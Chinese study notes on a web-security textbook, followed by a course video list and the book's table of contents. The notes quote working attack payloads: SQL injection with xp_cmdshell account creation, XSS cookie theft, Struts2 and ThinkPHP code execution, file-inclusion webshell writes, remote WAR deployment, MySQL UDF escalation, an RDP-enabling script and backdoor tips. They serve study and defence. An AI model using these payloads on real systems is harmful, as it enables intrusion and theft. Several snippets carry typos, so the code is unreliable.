《Web安全深度剖析》读书笔记

本文详细记录 《Web安全深度剖析》 的学习过程,资料为 《Web安全深度剖析》

基础篇

状态码

  1. 第一位数字定义嘞 响应的类别,且只有一下5种

    1xx: 信息提示,表示请求已被成功接收,继续处理。其范围是 100 ~ 101

    2xx:成功,服务器成功地处理了请求。其范围是 200 ~ 206

    3xx: 重定向。范围是 300 ~ 305

    4xx:客户端错误状态码。范围是 400 ~ 415

    5xx:服务器内部错误。范围 500 ~ 505

  2. 常见状态码描述

    200:客户端请求成功,是最常见的状态

    302:重定向

    404:请求资源不存在,是最常见的状态

    400:客户端请求有语法错误,不能被服务器所理解

    401:请求未经授权

    403:服务器收到请求,但是拒绝提供服务

    500:服务器内部错误,是最常见的状态

    503:服务器当前不能处理客户端的请求,一段时间后可能恢复正常

JavaScript

JavaScript 属于前端验证,在浏览器未提交数据时进行验证。Burpsuite 是在通过验证并拦截 HTTP 请求后修改数据,JavaScript 的验证根本起不了任何作用。

前端 JavaScript 验证是为了防止用户输入错误,服务器端验证是为了防止恶意攻击

黑帽 SEO

黑帽 SEO 利用 Referer 和 User-AgenT 来欺骗搜索引擎。Refer而 告诉 Web 服务器用户从哪个页面找过来的,而 User-Agent 则用于告诉 Web 服务器用户使用的浏览器和操作系统信息。

当用户通过搜索引擎打开此网站,一般会引出源页面(Referer 头),如:

Referer:http://www.baidu.com/s?tn=baiduhome_pg&ie=utg-8
Referer:http://www.google.hk/search?newwindow=1&safe=strict

利用这点,黑帽 SEO 就可以用任何 Web 语言进行针对这搜索引擎的流量劫持,一般步骤如下:

  1. 建立劫持搜索引擎库,如:以Baidu、Google 等域名为关键字
  2. 获取 HTTP Referer 头
  3. 遍历搜索引擎库,并与 Referer 的内容相比较,如果两者相同或者存在搜索引擎关键字,那么页面将会发生挑战,也就是域名劫持。

User-Agnet 主要用于劫持搜索引擎的蜘蛛,与劫持流量类似,但是具体的作用却不一样

第三章 信息探测

Google Hack

  1. 常用语法

    site:指定域名

    intext:正文中存在关键字的页面

    intitle:标题中存在关键字的页面

    info:一些基本信息

    inurl: URL 存在关键字的网页

    filetype 搜索指定文件类型

原理篇

第 5 章 SQL注入漏洞

5.1 SQL Server

5.1.1 利用错误消息提取
  1. 表结构如下:

     create table users{
     	id int not null identtity(1,1),
     	username verchar(20) not null,
     	passowrd varchar(20) not null,
     	prinvs int not null,
     	email varchar(50)
     	}
    

    查询 root 用户的详细信息,SQL 语句如下:

     delect * from users where username='root'
    
  2. 攻击者可以利用 SQL Server 特性来获取敏感信息

    输入如下语句:

     ' having  1=1 --+
    

    最终执行 SQL 语句为:

     select * from users where username='root' and password='root' having 1=1--+
    

    那么 SQL 执行器将抛出一个错误:

     选择列表中的列 'users.id' 无效,因为该列没有包含在聚合函数 group by 子句中
    

    可以发现当前表名为 users ,并且存在 id 列名

     select * from users where username='root' and password='root' group by users.id having 1=1--+
    

    执行器错误

     'users.username' 无效,因为该列没有包含在聚合函数或 group by 子句中
    

    依次可以递归查询,直到没有错误消息为止

  3. 利用数据类型错误提取数据

    如果试图将一个字符串与非字符串比较,或者将一个字符转换为另外一个不兼容的类型时,那么 SQL 编辑器将会抛出异常,比如:

     select * from users where username='root' and password='root' and 1 > (select top 1 username from users)
    

    执行器错误

     在将 varchar() 值 'root' 转换为数据类型 int 使失败
    

    利用此方法可以递归推导出所有的账户信息

     select * from users where username='root' and password='root' and 1> (select top 1 from users where username not in('root'))
    

    如果感觉递归比较麻烦,可以通过使用 FOR XML PATH 语句将查询的数据生成 XML ,SQL 语句如下:

     select * from users where username='root' and password='root' and 1=convert(int,(select stuff((select '.'=users.username,'|'=users.password from users for xml path("")),1,1,'')))
    

    执行器异常

     在将 nvarchar 值 'root|root,admin|admin,xsser|xsser' 转换为数据类型 int 时失败
    
5.1.2 获取元数据
  1. 常见数据库视图

    sys.databases:sql server 中的所有数据库

    sys/sql_logins:sql server 中所有登录名

    information_schema.tables:当前用户数据库中的表

    information_schema.columns:当前用户数据库中的列

    sys.all_columns:用户定义对象和系统对象的所有列的联合

    sys_database_principals:数据库中每个权限或列异常权限

    sys.database_files:存储在数据库中的数据库文件

    sysobjects:数据库中创建的每个对象(例如约束、日志以及存储过程)

5.1.3 Oeder by 子句
order by 子句:为 select 查询的列排序,如果同时指定了 TOp 关键字,order by 子句在试图、内联函数、派生表和子查询中无效

攻击者通常会注入 order by 语句来判断此表的列数

select id,username,password from users where id=1

select id,username,password from id=1 order by 1

select id,username,password from id=1 order by 2

select id,username,password from id=1 order by 3
5.1.4 union 子句

使用 union 递归查询获取字段数

union select null
union select null,null

查询敏感信息

id=5 union select null,'x',null,null from sysobject where xtype='U'
id=5 union select null,null,'x',null from sysobject where xtype='U'	

union all 会自动去除重复的数据,并且按照默认规则排序

5.1.5 系统函数
suser_name():返回用户的登录名
user_name(): 基于指定的标识符返回数据库用户名
db_name():返回数据库名称
is_numbei('db_owner'):是否为数据库角色
cinvent(int,'5'):数据类型转换

stuff:字符串截取函数
ascii:取 ascii 码
char: 根据 ascii 码去字符
getdata:返回日期
count: 返回组中的总条数
cast: 将一种数据类型的表达式显式转换为另一种数据类型的表达式
rand():返回随机值
is_srvrolemember: 指示 SQL Server 登录名是否为指定服务器角色成员
5.1.6 危险的存储过程

最常用的存储过程是 xp_cmdshell 这个存储过程允许用户执行操作系统命令

select * from table where id=1;exec xp_cmdshell 'net user test test /add'

并不是任何数据库用户都可以使用此类存储过程,用户必须持有 control server 权限

向 xp_cmdshell 这样的存储过程还有很多

sp_addlogin:创建新的 sql server 登录,该登录允许用户使用 sql server 身份验证连接到 sql server 实例
sp_dropuser:从当前数据库中删除数据库用户
xp_enumgroup:提供 windows 本地组列表或在指定的 windows 域中定义的全局列表
xp_regwirte:未被公布的存储过程,写入注册表
xp_regread:读取注册表
xp_regdeletevalue:删除注册表
xp_dirtree:读取目录
sp_password:更改密码
xp_servicecontrol:停止或激活某服务

角色与权限:

bulkadmin:角色成员可以运行 bulk insert 语句
dbcrrator:可以创建、更改、删除和还原任何数据库
diskadmin:可以管理磁盘文件
processadmin:可以终止在数据库引擎实例中运行的进程
securityadmin:可以管理登录名机器属性
serveradmin:可以更改服务器范围的配置选项和关闭服务器
setupadmin:可以添加和删除链接服务器,并可以执行某些系统存储过程
sysadmin:可以在数据库引擎中执行任何活动
5.1.7 动态执行

exec(‘select username,password from users’)

exec(‘selec’+‘t username,password fro’+’, users’)

也可以通过定义十六进制的sql语句使用 exec 函数执行,可以突破很多防火墙和防注入程序

declare @query varchar(888)
select @query=0x76956C6563745031
exec(@query)

或者

declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

5.2 oracle

  1. 元数据

select tablespace_name from user_tablespaces

select table_name from user_tables where rownum=1

select cokumn_name from user_tab_columns where table_name=‘users’

select username from all_users

select object_name from user_objects

  1. union 查询

    oracle 与 mysql 一样不支持多语句执行,不想 sql server 那样可以执行多条语句

     ?id=1;exec xp_cmdshell 'net user temp test / add'
    
    1. 查询列数

      在 sql server 和 mysql 中可以直接使用

       union select null,null,null...
      

      但是在 oracle 中必须使用:

       union select null,null,null,... from dual
      

      dual 是 oracle 的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询

      oracle 是强类型数据库,必须使用明确的数据类型,所以一般使用 null 代替

    2. 获取敏感信息

      常见敏感信息

       当前用户权限:select * from session_roles
       当前数据库版本: select banner from sys.v_$version where rownum=1
       服务器出口IP:用 utl_http.request 可以实现
       服务器监听IP: select utl_inaddr.get_host_address from dual
       服务器操作系统: select menber from v$logfile where rownum=1
       服务器sid:select instance_name fromv$instance
       当前连接用户:select sys_context('userenv','current_user') from dual
      
    3. 获取表数据

       union select username,null,null from users--+
       union select null,username,null from users--+
       union select null,null.username from users--+
      
       union select null,columns,null from tableName--+
      
  2. oracle 中包的概念

    oracle 可以分为两个部分,一部分是包的规范,相当于java 中的接口,另一部分是包体,相当于java 理接口的实现类,实现了具体的操作

    utl_http:提供了对http的一些操作

     select utl_http.request('http://www.baidu.com') from dual	# 返回 html 源码
    

    utl_file:专门用来操作I/O

     # 写文件
     create or replace directory XXSER_DIR as 'C:\';
     declare
     xs_file utl_file.file_type;
     begin
     xs_file:=utl_file.fopen('XXSER_DIR','bug.jsp','w')
     utl_file.put_line(xs_file,'木马后门');
     utl_file.put_line(xs_file,'木马后门2')
     utl_file.fflush(xs_file);
     utl_file.fclose(xs_file)
     end;
    
     # 读文件
     create or replace directory XXSER_DIR as 'C:\';
     declare
     fp_buffer varchar2(4000);
     begin
     xs_file:=utl_file.fopen('XXSER_DIR','bug.jsp','w')
     utl_file.get_line(xs_file,fp_buffer);
     dbms_output.out_line(fp_buffer)
     utl_file.fclose(xs_file)
     end;
    
     # 执行系统命令
    
     有点多,不抄了
    

第 7 章 XSS 跨站脚本漏洞

攻击者可以在<script> 与 </script> 之间输入 Javascript 代码,实现特殊效果。

还可以使用 <script src=“http://www.sobug.org/x.txt”> </script> 方式来加载脚本

JS 加载外部的代码文件可以是任意扩展名(无扩展名也可以),即使是图片文件,只要其中包含JS代码,也可以执行

  1. 反射型 XSS

    攻击者伪造链接(站内私信),诱使用户点击,由此盗取用户的cookie,攻击者可以使用用户的cookie 来登录网站

  2. 存储型 XSS

    反射型 XSS 和 DOM 型 XSS 都依靠用户手动去触发,存储型 XSS 却不需要

    测试是否存在 存储型 XSS

    1. 确定输入点和输出点

      首选寻找留言内容输出的地方是在标签内还是在标签属性内。如果在属性内,xss代码是不会执行的。

    2. 如果是在属性内,就要先闭合属性值。

       <input type="text" name="content" value=""/ ><secrpt>alert(1)</script"/>
      

    测试步骤:

    1. 添加正常留言,使用 firebug 快速寻找显示标签

      输入敏感字符,查看是否被转义。敏感字符不容易寻找,可以使用 “AAAAA<>”’&" 字符串,查找的时候直接查找 AAAAA

    2. 如果显示区域不在 HTML 属性内,则可以直接使用 XSS 代码注入,如果不能得知输出的具体位置,则可以使用模糊测试方案

       <script>alert(document.cookie)</script>	普通注入
       "/><script>alert(document.cookie)</script>	闭合标签注入
       </textarea>'"><script>alert(document.cookie)</script>	闭合标签注入
      
    3. 在插入盗取 cookie 的 JS 代码后,重新加载留言页面(用户查看的时候),XSS代码被浏览器执行

  3. DOM型 XSS

    若 URL 的功能是获取 content 参数的值并且输出,就可以使用 XSS 漏洞

     	?content=<script>alert(/xss/)</script>
    
  4. 危害

    1. 盗取 cookie
    2. 修改网页内容
    3. 网站挂马
    4. 利用网站重定向
    5. XSS蠕虫
  5. 会话劫持

    攻击者盗取用户的 cookie 值之后,使用用户的 cookie 值登录目标网站

    sessionid 存在服务器端,一般存在于 cookie 中,也可以存在于 URL 中,每个用户的 sessionid 是不同的,包括普通用户和管理员

  6. XSS getshell

    xss getshell 的条件是苛刻的,只有开源的 web 应用程序才有可能,在进行黑盒测试的时候,xss getshell 几乎是不可能的事情

  7. XSS 蠕虫

    XSS 蠕虫是针对浏览器的攻击,且网站规模越大,攻击效果越大

    步骤:

    1. 发表一个正常的微博信息,并且记录 articleid

    2. 获取用户的userid,此处使用 AJAX 技术访问 http://www.xxser.com/userinfo.php 页面,获取 HTML 源码,并且将 userid 拆分出来

    3. 构造用户并转发微博的URl

       <script>
       function getuserid()
       {通过AJAX获取userid
       return userid;}
       
       function getforwardurl()
       {var userid=getuderid;
       var forwardurl="http://www.xxser.com/forward.php?userid="+userid+"&articleid=86";
       return forwardurl;}
       </script>
      
    4. 编辑微博,插入 xss

       <script sec=http://www.xxser.com/1.js></script>
      

第 8 章 命令执行漏洞

命令执行漏洞是直接调用系统命令

代码执行漏洞是靠执行代码来调用系统命令

php 命令执行:

	system()
	
	shell_exec()
	
	exec()
	
	passthru()
	
struct2 代码执行

	http://host/struct2-blank/example/X.action?action=%25[3*4]

	# 访问以上代码,struct2 将会执行 3*4 表达式,如果将 3*4 表达式换成以下语句,将会导致代码执行漏洞
	
	http://host/struct2-showcase/employee/save.actions?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

ThinkPHP 命令执行

	index.php/module/action/paraml/${@print(THINK_VERSION)}
	index.php/module/action/paraml/${@print(eval($_POST[c])}

第 9 章 文件包含漏洞

  1. 函数

    require():找不到被包含文件是报错且停止脚步
    include():找不到北包含文件时警告并且继续执行
    include_once():若文件中的代码已经被包含,则不会再次包含
    require_once():若文件中的代码已经被包含,则不会再次包含

    1. 本地文件包含

      只要文件内容符合php语法规范,那么任何扩展名都可以被解析
      如果包含 php 语法规范源文件时,将会暴露其源代码

    2. 远程文件包含

      需要开启 allow_url_include = on

      ?page=http://www.2cto.com/php.txt
      只要文件内容符合php语法规范,那么任何扩展名都可以被解析

    攻击者输入 URL index.php?page=xxx.php,由于xxx.php 不存在,所以会报错,暴露出网站的绝对路径

  2. PHP 文件包含利用

    1. 读取敏感文件

      index.php?page=/etc/passwd

    2. 远程包含shell

      index.php?page=echo.txt

      其中 echo.txt 内容如下:

       <?fput(fopen("shell.php","w"),"<?php wcal($_POST[xxser];)?>")?>
      

      访问该文件,则会在index.php 目录下生成 shell.php,内容为 <?php wcal($_POST[xxser];)?>

    3. 本地文件包含配合文件上传

      文件上传图片木马 /uploadfile/201363.jpg

      图片代码如下:

       <?fput(fopen("shell.php","w"),"<?php wcal($_POST[xxser];)?>")?>
      

      访问 index.php/?page=./uploadfile/201363.jpg, 则会在index.php 目录下生成 shell.php,内容为 <?php wcal($_POST[xxser];)?>

    4. 使用 php 封装协议

      1. 使用封装协议读取php文件

        index.php/?page=PHP://filter/read=convent.base64-encode/resource=config.php

        得到结果为 base64加密后的信息,解密即可

      2. 写入 php 文件

        php://input allow_url_include on de 时候可用

        index.php?page=php://input,并且提交内容为 <?fput(fopen("shell.php","w"),"<?php wcal($_POST[xxser];)?>")?>

    5. 包含 apache 日志文件

      在访问一个不存在的 url 时,会被 apache 记录到日志(access.log)中

      http://www.xxser.com/<?php phpinfo();?>

      如果在 url 中直接输入,括号会被url编码,可以使用 burp 直接发送数据

      此时包含 access.log 即可

      index.php?page=./…/apaceh56/logs/access.log

    6. 截断包含

      当图片木马的路径为 /uploadfile/201363.jpg

      访问 index.php/?page=./uploadfile/201363.jpg

      但是在 PHP程序中会包含 /uploadfile/201363.jpg.php

      此时只需要使用 %00 截断即可

      访问 index.php/?page=./uploadfile/201363.jpg%00

      如果 allow_url_include 为 on 的时候,%00(NULL)会被转义

      在一些老版本中还存在一些截断:

      index.php?file=info.txt./././././././././…超过一定数量即可截断

    7. 绕过 waf

      图片木马可以绕过 waf

  3. JSP 包含

    静态包含(先包含在处理)

    动态包含(先处理在包含)

    jsp:include/ 标签在一个非 JSP 文件扩展名时,即使其内容符合 JSP 语法规范,也会读取其源代码,而不会解析其 JSP 代码,意味着攻击者可以得到的信息时有限的

第 10 章 其他漏洞

1. csrf 漏洞

  1. 简介

    1. 在访问银行页面的时候(sessionid 有效),点击了恶意链接,攻击者就可以直接进行转账

    2. 编写一个单独的页面(CSRF 蠕虫)

      页面内容(默认已经获取了用户的会话状态),转发微博,并且关注特定用户

    3. 如果希望静悄悄地提交数据,不希望页面跳转,可以使用 AJAX 来解决问题

  2. 编写 CSRF 的 PoC

     <html>
     <body>
     
     <form name="myform" action="delUser.action" method="GET">
     <imput type="hidden" name="id" value="5">
     </form>
     
     <script>
     var myform = document.getElementById("myform");
     myform.submit();
     </script>
     
     </body>
     </html>
    

    打开这个HTML,JS 会自动提交 form 表单,当请求成功后,查看 ID 为5 的用户是否已经被删除,如果被删除,就可以确定存在 CSRF 漏洞

    CSRF 可以理解为:服务器到底有没有执行 POC 请求,如果已执行,则代表存在 CSRF 漏洞

  3. 防御

    1. 二次确定

    2. 使用 token

      1. 每当用户登录后随机生成一段字符串,并且存储在 session 中
      2. 在敏感操作中加入隐藏标签,value 即为 session 中保存的字符串(token值)
        当GET 请求时,考虑使用在 cookie 中存储 token
      3. 提交请求后,服务器端去除 session 中的字符串与提交的 token 对比,如果一致,则认为是正常请求
      4. 更新 token 值

    当XSS 和 CSRF 同时存在时,Token 防御机制会失效,因为攻击者可以通过 JS 开获取 Token 值

    如果一个网站同时存在 XSS 和CSRF漏洞时,那么,那么XSS可以比CSRF做的更多。CSRF其实就是 XSS 的缩小版。

    如果网站存在 XSS 漏洞,那么防范 CSRF 是没有任何意义的

2. 水平越权

通过修改 id 值来获取同级用户的信息
 
通过修改 id 来重置同级别的其他用户的密码

3. 垂直越权

通过修改 id 值来获取不同级用户的信息

4. webserver 远程部署漏洞

  1. tomcat

    将 jsp 木马制作成 war 包

     jar -cvf war_name.war shell.jsp	//打包指定文件
     jar -cvf shell.war *		//打包当前目录下的所有文件
    

    在 war file to deploy ,也就是 war 文件部署,上传 war 文件后,tomcat 自动部署

    这一功能需要密码验证,且用户需要有 manager 权限

    但是默认用户和弱口令问题还需要防范,另外还有后门账号问题

  2. JBoss

    没有密码验证

    在 JMX console -> jboss.deployment -> flavor=URL,type=DeploymentScanner 选项,远程部署连接

    tomcat需要本地上传,而 JBoss 是使用 url 上传 ,url 是 war 文件的下载地址

     http://www.sebug.org/jsp.war
    

    部署成功后就可以访问部署后的文件路径

     http://www.xxser.com/shell/jsp.jsp
    

    此时的 jsp 文件为临时文件,当服务器重启之后文件消失。

    由于没有密码认证策略,则攻击者常常使用 google hack 来批量获取 shell

  3. WebLogic

    新版本有很严格的密码认证策略,老版本存在弱口令问题:weblogic、system、portaladmin、guest

    跟 tomcat 类似,也可以在本地上传一个 war 包

    可以访问 http://www.xxser.com:7001/jsp/shell.jsp ,即 shell 程序

    部署成功后,默认的文件名是 war_name + war 压缩包内文件名

代码注入###

  1. OS 命令执行

     <?php
     	$command = $_REQUEST["command"];
     	system($command);
     ?>
    
     http:// www.sebug.org/cmd.php?command=ls
    
  2. 文件包含

     <?php
     $page = $_REQUEST["page"];
     include($page);		
     ?>
     http://www.sebug.com/page.php?page=info.txt
    
  3. 动态函数执行

     <?php
     function A(){
     	echo "A";
     	}
     function B(){
     	echo "B"
     	}
     $func = $_REQUEST["func"];
     $func();
     ?>
    
  4. 代码执行

     <?php 
     $myvar = :"varname";
     $x = $_GET['arg'];
     wval("\$myvar = \$x;");
     ?>
    

第 14 章 提权

1. 信息收集

  1. 服务器支持的脚本
  2. 端口探测
  3. 搜集路径信息

2. 数据库提权

  1. SQL Server 提权

    主要是利用 xp_cmdshell 这个特殊的存储存储过程提权

    这个特殊的存储过程可以执行系统命令

    只有在 sysadmin 权限下才可以使用

    sql server 提权分为两种:

    1. 注入点提权

      ?id=1;exec master…xp_cmdshell ‘net user 1 1 /add’–+

    2. 得到数据库账户信息

      假设攻击者已经得知“SA”账户的密码,就可以使用两种方式提权,一种是外连接提权(远程连接数据库提权),另一种是本地连接提权(只能在服务器端提权,通过服务器端的脚本连接数据库进行提权)。

      账户信息通常在 conn.asp、web.config、db.inc

      可以通过 sp_configure 启用 xp_cmdshell

    3. 开启 xp_cmdshell 的sql 语句:

       exec sp_configure 'show advanced options',1
       go 
       reconfigure
       go 
       exec sp_configure 'xp_cmdshell',1
       go 
       reconfigure
       go 
      
    4. 关闭 xp_cmdshell 的sql 语句:

       exec sp_configure 'show advanced options',1
       go 
       reconfigure
       go 
       exec sp_configure 'xp_cmdshell',0
       go 
       reconfigure
       go 
      
  2. mysql 提权

    使用自定义函数提权

     create table temptable(udf blog); 创建临时表
     insert intotemptablevalues(convert(shellcode,char));插入 shellcode
     select udf from temptable into dumpfile 'c:\windows\udf.dll';	//导出 udf.dll,mysql 5.0以上必须要导出到系统目录,
     																//mysql 5.1 以上的版本只能导出到 msyql 安装目录下的 lib/plugin 目录下才可以
     drop table temptable;	删除临时表
     create function cmdshell returns string soname 'udf.dll';	创建 cmdshell 函数
     select cmdshell('command');	执行命令
     drop function cmdshell;	删除 cmdshell函数
    

    存在一些自动化提权脚本

    mysql 数据库的账户密码存放在 /data/mysql/user.MYD 中,md5 加密的

    也可以利用 mysql 写文件的特性将密码写入到启动项中

  3. FTP 提权

    如果赋予用户执行权限,那么 FTP 用户就可以使用 “quote site exec” 执行系统命令,比如 “quote site exec net user temp temp /add” 命令

    1. Serc-U

      Serc-U 的账号密码存放在 SercAdmin.exe 中。将其下载至本地,使用十六进制打开即可发现管理员密码。搜集目录很重要

      FTP 账户在配置文件 ServUDeamon.ini 中,Password 是 md5 加密。可以添加账户并赋予执行权限(quote site exec),也可以破解其他账户密码。(Serv-U V6.4)

    2. FileZilla

      FileZillaServer Interface.xml 保存了FTP 管理员信息,Last Server password 明文密码

      FileZilla Server.xml 保存了服务器所有的 FTP 用户信息,User Pass 标签

  4. 虚拟主机提权

     星外虚拟主机:D:\freehost\xxxxxxx\
     华众虚拟主机:D:\hzhost\xxxxxxx\
     新网虚拟主机:D:\virtualhost\xxxxxxxx\
     万网虚拟主机:D:\user\xxxxxxx\
    

    虚拟主机都会支持 aspx 扩展名的脚本语言,而 aspx 可以执行一些简单的系统命令,既然可以执行系统命令就可以尝试本地溢出

    可以使用一些 0day 来提权

3. 3389 端口

远程开启 3389 端口(bat 脚本)
	
	echo Windows Registry Editor Version 5.00>>3389.reg
	echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
	echo "fDenyTSConnections"=dword:00000000>>3389.reg
	echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
	echo "PortNumber"=dword:00000d3d>>3389.reg
	echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
	echo "PortNumber"=dword:00000d3d>>3389.reg
	regedit /s 3389.reg
	del 3389.reg

4. DLL 劫持

lpk.dll 位于 system32 目录下,每个可执行文件在执行之前都要加载这个文件。

windows 是先判断当前目录是否存在此文件,再判断特定路径是否存在此文件

工具:Tools Lpk Sethc

5. 添加后门

  1. 远程控制程序

  2. 后门账号

    HideAdmin 工具可以隐藏账户

  3. 克隆账号

    克隆一个账号放在 administrator 组

  4. 直接使用 Administrator 的账号密码

    使用 minikatz 可以读取管理员密码

  5. 在线程插入后门

  6. web 后门

1.SQL注入 25.SQL注入的理解.mp4 26.学员操作联合注入.mp4 26.联合注入.mp4 27注入型.mp4 28.导出数据库别名拿shell.mp4 29.读文件.mp4 30.html的锚点.mp4 31.MYSQL布尔注入.mp4 32.延时注入.mp4 33.别名的理解.mp4 34.Mysqlbug注入.mp4 35.mysql函数报错.mp4 36.如何修补SQL注入上.mp4 37.如何修补SQL注入下.mp4 38.判断是否存在注入.mp4 39.宽字节注入.mp4 40.多语句注入.mp4 41.values注入.mp4 42.delete注入.mp4 43.update型注入.mp4 44.注入常用函数.mp4 45.防火墙.mp4 46.曾删改报错注入+怎么找这种漏洞.mp4 47.其他数据库的注入.mp4 2.xss 48.什么是XSS发送ajax实现跨域.mp4 49.理解ajax同异步之学员争辩.mp4 50.存储XSS.mp4 51.反射XSS.mp4 52.domxss.mp4 53.XXSSProtection.mp4 54.CRLF+XSS.mp4 55.xss修补.mp4 56.闭合XSS.mp4 57.搭建XSS平台.mp4 3.csrfxss蠕虫ssrfxxe 58.了解CSRFCSRF攻击.mp4 59.csrf漏洞修补.mp4 60.xss蠕虫.mp4 61.xxe理解xxe攻击xxe修补.mp4 62.ssrf理解利用修补.mp4 4.webshell 63.webshell.mp4 5.文件上传 64.空字节的理解.mp4 65.上传的流程.mp4 66.JS验证.mp4 67.截断上传.mp4 68.黑名单验证上传.mp4 69.二次上传.mp4 70.上传分析.mp4 71.mime型绕过.mp4 72.解析漏洞.mp4 73.双文件上传.mp4 74.找上传已知漏洞.mp4 6.mysql注入进阶DNS查询 75.理解DNS.mp4 76.Sql注入利用DNS注入.mp4 77.学员搭建环境.mp4 78.其他数据库注入.mp4 7.文件包含读取代码执行与命令执行 79.文件包含.mp4 80.文件包含修补+上传修补.mp4 81.文件读取.mp4 82.学员利用文件包含拿webshell.mp4 83.远程代码与命令执行.mp4 84.理解序列化.mp4 85.反序列化漏洞理解.mp4 86.黑白盒exppocPayload的理解.mp4 8.设计缺陷逻辑错误 87.逻辑漏洞的理解.mp4 88.学员实战挖掘密码重置漏洞.mp4 89.提现.mp4 90.验证码漏洞.mp4 91.未授权访问.mp4 92.未授权操作.mp4 93.越权.mp4 9.信息泄露 94.什么是信息泄露.mp4 95.google的用法.mp4 96.找网站路径.mp4 97.判断网站CMS.mp4 98.Robots.txt的讲解.mp4 99.社工库的理解.mp4
Web安全深度剖析》总结了当前流行的高危漏洞的形成原因、攻击手段及解决方案,并通过大量的示例代码复现漏洞原型,制作模拟环境,更好地帮助读者深入了解Web应用程序中存在的漏洞,防患于未然。 《Web安全深度剖析》从攻到防,从原理到实战,由浅入深、循序渐进地介绍了Web 安全体系。全书分4 篇共16 章,除介绍Web 安全的基础知识外,还介绍了Web 应用程序中最常见的安全漏洞、开源程序的攻击流程与防御,并着重分析了“拖库”事件时黑客所使用的攻击手段。此外,还介绍了渗透测试工程师其他的一些检测方式。 《Web安全深度剖析》最适合渗透测试人员、Web 开发人员、安全咨询顾问、测试人员、架构师、项目经理、设计等人员阅读,也可以作为信息安全等相关专业的教材。 第1篇 基础篇 第1章 Web安全简介 2 1.1 服务器是如何被入侵的 2 1.2 如何更好地学习Web安全 4 第2章 深入HTTP请求流程 6 2.1 HTTP协议解析 6 2.1.1 发起HTTP请求 6 2.1.2 HTTP协议详解 7 2.1.3 模拟HTTP请求 13 2.1.4 HTTP协议与HTTPS协议的区别 14 2.2 截取HTTP请求 15 2.2.1 Burp Suite Proxy 初体验 15 2.2.2 Fiddler 19 2.2.3 WinSock Expert 24 2.3 HTTP应用:黑帽SEO之搜索引擎劫持 24 2.4 小结 25 第3章 信息探测 26 3.1 Google Hack 26 3.1.1 搜集子域名 26 3.1.2 搜集Web信息 27 3.2 Nmap初体验 29 3.2.1 安装Nmap 29 3.2.2 探测主机信息 30 3.2.3 Nmap脚本引擎 32 3.3 DirBuster 33 3.4 指纹识别 35 3.5 小结 38 第4章 漏洞扫描 39 4.1 Burp Suite 39 4.1.1 Target 39 4.1.2 Spider 40 4.1.3 Scanner 42 4.1.4 Intruder 43 4.1.5 辅助模块 46 4.2 AWVS 49 4.2.1 WVS向导扫描 50 4.2.2 Web扫描服务 52 4.2.3 WVS小工具 53 4.3 AppScan 54 4.3.1 使用AppScan扫描 55 4.3.2 处理结果 58 4.3.3 AppScan辅助工具 58 4.4 小结 61 第2篇 原理篇 第5章 SQL注入漏洞 64 5.1 SQL注入原理 64 5.2 注入漏洞分 66 5.2.1 数字型注入 66 5.2.2 字符型注入 67 5.2.3 SQL注入分 68 5.3 常见数据库注入 69 5.3.1 SQL Server 69 5.3.2 MySQL 75 5.3.3 Oracle 84 5.4 注入工具 89 5.4.1 SQLMap 89 5.4.2 Pangolin 95 5.4.3 Havij 98 5.5 防止SQL注入 99 5.5.1 严格的数据型 100 5.5.2 特殊字符转义 101 5.5.3 使用预编译语句 102 5.5.4 框架技术 103 5.5.5 存储过程 104 5.6 小结 105 第6章 上传漏洞 106 6.1 解析漏洞 106 6.1.1 IIS解析漏洞 106 6.1.2 Apache解析漏洞 109 6.1.3 PHP CGI解析漏洞 110 6.2 绕过上传漏洞 110 6.2.1 客户端检测 112 6.2.2 服务器端检测 115 6.3 文本编辑器上传漏洞 123 6.4 修复上传漏洞 127 6.5 小结 128 第7章 XSS跨站脚本漏洞 129 7.1 XSS原理解析 129 7.2 XSS型 130 7.2.1 反射型XSS 130 7.2.2 存储型XSS 131 7.2.3 DOM XSS 132 7.3 检测XSS 133 7.3.1 手工检测XSS 134 7.3.2 全自动检测XSS 134 7.4 XSS高级利用 134 7.4.1 XSS会话劫持 135 7.4.2 XSS Framework 141 7.4.3 XSS GetShell 144 7.4.3 XSS蠕虫 149 7.5 修复XSS跨站漏洞 151 7.5.1 输入与输出 151 7.5.2 HttpOnly 158 7.6 小结 160 第8章 命令执行漏洞 161 8.1 OS命令执行漏洞示例 161 8.2 命令执行模型 162 8.2.1 PHP命令执行 163 8.2.2 Java命令执行 165 8.3 框架执行漏洞 166 8.3.1 Struts2代码执行漏洞 166 8.3.2 ThinkPHP命令执行漏洞 169 8.3 防范命令执行漏洞 169 第9章 文件包含漏洞 171 9.1 包含漏洞原理解析 171 9.1.1 PHP包含 171 9.1.2 JSP包含 180 9.2 安全编写包含 184 9.3 小结 184 第10章 其他漏洞 185 10.1 CSRF 185 10.1.1 CSRF攻击原理 185 10.1.2 CSRF攻击场景(GET) 186 10.1.3 CSRF攻击场景(POST) 188 10.1.4 浏览器Cookie机制 190 10.1.5 检测CSRF漏洞 193 10.1.6 预防跨站请求伪造 197 10.2 逻辑错误漏洞 199 10.2.1 挖掘逻辑漏洞 199 10.2.2 绕过授权验证 200 10.2.3 密码找回逻辑漏洞 204 10.2.4 支付逻辑漏洞 205 10.2.5 指定账户恶意攻击 209 10.3 代码注入 210 10.3.1 XML注入 211 10.3.2 XPath注入 212 10.3.3 JSON注入 215 10.3.4 HTTP Parameter Pollution 216 10.4 URL跳转与钓鱼 218 10.4.1 URL跳转 218 10.4.2 钓鱼 220 10.5 WebServer远程部署 224 10.5.1 Tomcat 224 10.5.2 JBoss 226 10.5.3 WebLogic 229 10.6 小结 233 第3篇 实战篇 第11章 实战入侵与防范 236 11.1 开源程序安全剖析 236 11.1.1 0day攻击 236 11.1.2 网站后台安全 238 11.1.3 MD5还安全吗 243 11.2 拖库 248 11.2.1 支持外连接 248 11.2.2 不支持外连接 253 11.3 小结 262 第4篇 综合篇 第12章 暴力破解测试 264 12.1 C/S架构破解 265 12.2 B/S架构破解 272 12.3 暴力破解案例 275 12.4 防止暴力破解 277 12.5 小结 278 第13章 